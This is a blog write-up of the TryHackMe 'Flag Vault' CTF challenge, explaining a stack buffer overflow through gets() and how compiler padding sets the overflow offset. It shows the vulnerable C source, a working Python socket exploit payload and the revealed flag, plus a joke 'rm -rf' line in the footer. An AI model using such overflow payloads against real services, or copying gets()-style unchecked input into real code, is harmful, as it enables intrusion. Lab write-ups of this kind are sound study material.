Flag Vault — TryHackMe CTF Writeup

· prosetesting's blog

Buffer overflow on gets() to overwrite a local variable across a compiler-induced stack gap.

Table of Contents

Flag Vault — TryHackMe CTF Writeup #

Platform: TryHackMe
Category: Binary Exploitation / Pwn
Difficulty: Easy
Date: 2026-04-04
Author: t0nt0n
Reading time: ~4 min


Reconnaissance #

The challenge provides source code and a remote service:

nc <IP> 1337

Key observations in login():

 1void login(){
 2    char password[100] = "";
 3    char username[100] = "";
 4
 5    printf("Username: ");
 6    gets(username);          // ← vulnerable, no bounds check
 7
 8    // Password input commented out
 9    if(!strcmp(username, "bytereaper") && !strcmp(password, "5up3rP4zz123Byte")){
10        print_flag();
11    }
12}

Compiled the source locally to inspect the stack frame:

1gcc -o vault vault.c -fno-stack-protector -no-pie -w
2objdump -d vault | grep -A5 '<login>'

Disassembly reveals:

sub $0xe0,%rsp          ; frame = 224 bytes
lea -0xe0(%rbp),%rax    ; username at rbp-224
...                     ; password at rbp-112

Critical finding: username is at rbp-224, password is at rbp-112. The gap between the end of username[99] and password[0] is 112 bytes, not 100. GCC inserted 12 bytes of alignment padding between the two arrays.


Exploitation #

Failed approaches #

Attempt 1 — offset 100 (wrong assumption: arrays are contiguous):

1payload = b'bytereaper\x00' + b'A'*89 + b'5up3rP4zz123Byte\n'

→ "Wrong password!" — password not overwritten.

Brute-force scan over offsets 88–250:

Ret2win attempt with print_flag() at 0x4004b6, padding 208: → "Wrong password!" locally — wrong offset, didn't reach return address.

Working exploit #

The real username→password offset is 112 (confirmed via disassembly).

Payload structure:

[bytereaper\x00][A × 101][5up3rP4zz123Byte][\n]
 ← 11 bytes  → ←  101  → ←    16 bytes   →
 |←————————— 112 bytes ——————————→|
 username start                   password[0]

Note: gets() does not stop on null bytes — it reads until \n/EOF, so embedding \x00 mid-payload is valid. Sent via raw Python socket to avoid any shell/terminal mangling.

 1import socket, time
 2
 3payload = b'bytereaper\x00' + b'A'*101 + b'5up3rP4zz123Byte\n'
 4
 5s = socket.socket()
 6s.settimeout(5)
 7s.connect(('<IP>', 1337))
 8time.sleep(1)
 9s.recv(8192)          # drain full banner
10s.send(payload)
11time.sleep(1)
12print(s.recv(4096).decode())
13s.close()

Flag #

Reveal Flag

THM{password_0v3rfl0w}


Tools Used #


What Didn't Work #


Lessons Learned #

last updated:
⬛⚪⬛
⬛⬛⚪  ☠ user
⚪⚪⚪  rm -rf /ignorance && echo 42 > /dev/brain